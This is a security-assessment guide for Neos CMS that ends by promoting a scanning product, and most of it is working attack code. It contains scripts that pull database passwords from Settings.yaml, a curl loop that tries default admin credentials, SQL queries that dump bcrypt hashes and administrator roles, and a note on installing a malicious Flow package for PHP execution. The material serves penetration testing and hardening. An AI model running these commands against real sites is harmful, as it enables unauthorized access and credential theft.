Neos CMS Security Testing: Default Credentials, API Key, Database, and CMS

Neos CMS is an enterprise-grade PHP CMS built on the Neos Flow framework, widely adopted by European agencies and organizations. Key assessment areas: Configuration/Settings.yaml exposes MySQL or PostgreSQL credentials; admin credentials at /neos; Neos_Flow_Security_Account stores bcrypt hashes with ROLE_NEOS_ADMINISTRATOR assignments; Fusion template files can be abused for code injection; and the Flow Package Manager installs arbitrary PHP packages. This guide covers systematic Neos CMS security assessment.

Table of Contents

  1. Configuration/Settings.yaml Database Credential Extraction
  2. Neos Backend and Node API Assessment
  3. MySQL Neos_Flow_Security_Account Hash Extraction
  4. Neos CMS Security Hardening

Configuration/Settings.yaml Database Credential Extraction

# Neos CMS — Configuration/Settings.yaml database credential extraction
NEOS_URL="https://site.example.com"

# Configuration/Settings.yaml — Neos/Flow database configuration
python3 -c "
import yaml
cfg = yaml.safe_load(open('/var/www/neos/Configuration/Settings.yaml'))
db = cfg.get('Neos', {}).get('Flow', {}).get('persistence', {}).get('backendOptions', {})
for key in ['host', 'dbname', 'user', 'password', 'driver', 'port']:
    val = db.get(key, '')
    if val: print(f'{key}: {str(val)[:60]}')
" 2>/dev/null
# password: mysql-or-postgres-password   <-- Database password (CRITICAL)

# Flow also reads from .env / environment-specific Settings files
# Configuration/Production/Settings.yaml — production environment config
python3 -c "
import yaml
cfg = yaml.safe_load(open('/var/www/neos/Configuration/Production/Settings.yaml'))
db = cfg.get('Neos', {}).get('Flow', {}).get('persistence', {}).get('backendOptions', {})
print('password:', db.get('password', 'not set')[:60])
" 2>/dev/null

# Check Configuration/ web access (must return 403)
for CFG_PATH in "Configuration/" "Configuration/Settings.yaml" "Configuration/Production/"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${NEOS_URL}/${CFG_PATH}" 2>/dev/null)
  echo "/${CFG_PATH}: HTTP ${STATUS}"
done

# Neos backend at /neos (default)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${NEOS_URL}/neos" 2>/dev/null)
echo "/neos: HTTP ${STATUS}"

# Test admin credentials
for CRED in "admin:admin" "admin@example.com:password" "admin@neos.io:admin"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${NEOS_URL}/neos/authentication/authenticate" \
    -d "__authentication[Neos][Flow][Security][Authentication][Token][UsernamePassword][username]=${EMAIL}" \
    -d "__authentication[Neos][Flow][Security][Authentication][Token][UsernamePassword][password]=${PASS}" \
    -c /tmp/neos_c -b /tmp/neos_c -L 2>/dev/null)
  echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done

Neos Backend and Node API Assessment

# Neos CMS backend and Node API content assessment
NEOS_URL="https://site.example.com"

# Neos Content Repository API — enumerate nodes
# /neos/content-module/* for editor access
# Neos REST API (if enabled) for content access
curl -s "${NEOS_URL}/neos/node/search" 2>/dev/null | head -5

# Neos GraphQL API (Neos 8+) — may expose content without auth
curl -s -X POST "${NEOS_URL}/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ node(path:\"/sites\") { name children { name } } }"}' \
  2>/dev/null | head -5

# Neos package installer — via Flow CLI (requires shell access)
# Installs arbitrary Composer packages with full PHP execution
php /var/www/neos/flow package:create Vendor.MaliciousPackage 2>/dev/null | head -3

# Neos Fusion template files — potential SSTI vector
# Fusion is Neos's template language — server-side processing
find /var/www/neos -name "*.fusion" 2>/dev/null | head -10
# Review Fusion files for user-controlled input reaching Fusion expressions

# Neos version disclosure
cat /var/www/neos/composer.lock 2>/dev/null | \
  python3 -c "
import json, sys
lock = json.load(sys.stdin)
for pkg in lock.get('packages', []):
    if 'neos/neos' == pkg.get('name'):
        print('Neos version:', pkg.get('version'))
        break
" 2>/dev/null

MySQL Neos_Flow_Security_Account Hash Extraction

# Neos CMS database — Neos_Flow_Security_Account hash extraction
DB_PASS="extracted-db-password"

mysql -u neos -p"${DB_PASS}" neos 2>/dev/null << 'EOF'
-- Neos_Flow_Security_Account — Neos user credentials (bcrypt)
SELECT a.persistence_object_identifier AS id,
       a.accountidentifier AS username,
       a.credentialssource AS password_hash,
       a.expirationdate,
       a.creationdate,
       p.party_name AS display_name
FROM typo3_flow_security_account a
LEFT JOIN typo3_neos_party_domain_model_abstractparty p
  ON p.persistence_object_identifier = a.party
ORDER BY a.creationdate;
-- credentialssource: bcrypt hash ($2y$...)
-- Note: table was renamed in Neos 3.x from typo3_ prefix to neos_ prefix

-- Neos 3+ table names
SELECT a.persistence_object_identifier AS id,
       a.accountidentifier AS username,
       a.credentialssource AS password_hash,
       a.expirationdate
FROM neos_flow_security_account a
ORDER BY a.creationdate
LIMIT 20;

-- Neos_Flow_Security_Account roles — identify administrators
SELECT a.accountidentifier,
       r.role_identifier
FROM neos_flow_security_account a
JOIN neos_flow_security_account_roles_join j
  ON j.flow_security_account = a.persistence_object_identifier
JOIN neos_flow_security_role r
  ON r.persistence_object_identifier = j.flow_security_role
ORDER BY a.accountidentifier;
-- ROLE_NEOS_ADMINISTRATOR: full Neos backend access
-- ROLE_NEOS_EDITOR, ROLE_NEOS_REVIEWER: limited access

-- Neos content node enumeration (hidden nodes)
SELECT n.path, n.nodeidentifier,
       n.hidden, n.hiddenbeforedatetime, n.hiddenafterdatetime,
       n.nodetype, n.workspace
FROM neos_contentrepository_domain_model_nodedata n
WHERE n.hidden = 1
ORDER BY n.sortingindex
LIMIT 20;
EOF

Neos CMS Security Hardening

Neos CMS Security Hardening Checklist:
Security TestMethodRisk
Configuration/Settings.yaml MySQL/PostgreSQL password extractionRead Configuration/Production/Settings.yaml — persistence.backendOptions.password; full database access to all Neos accounts and contentCritical
neos_flow_security_account bcrypt hash extraction with ROLE_NEOS_ADMINISTRATORMySQL SELECT credentialssource FROM neos_flow_security_account + roles join — bcrypt hashes; ROLE_NEOS_ADMINISTRATOR = full backend + package managementHigh
Admin credential brute-force at /neos/authentication/authenticatePOST /neos/authentication/authenticate — admin/admin or common passwords; no rate limiting by default; admin session enables full content and configuration managementHigh
Neos GraphQL API unauthenticated content enumeration (Neos 8+)POST /graphql — query node structure without authentication if API not properly secured; exposes full content tree and metadataMedium
Hidden node content enumeration via databaseMySQL SELECT path, nodetype FROM neos_contentrepository_domain_model_nodedata WHERE hidden=1 — content marked hidden but stored in plaintext databaseMedium

Automate Neos CMS Security Testing

Ironimo tests Neos CMS deployments for Configuration/Settings.yaml and Configuration/Production/Settings.yaml MySQL/PostgreSQL password extraction, /Configuration/ web accessibility verification, admin credential brute-force at /neos/authentication/authenticate, neos_flow_security_account bcrypt hash extraction with ROLE_NEOS_ADMINISTRATOR role identification, Neos GraphQL API unauthenticated content enumeration, hidden node content enumeration via database, Neos Fusion template injection SSTI assessment, Packages/ and Data/ web accessibility verification, Neos version disclosure via composer.lock, and neos_flow_security_account_roles_join administrator account audit.

Start free scan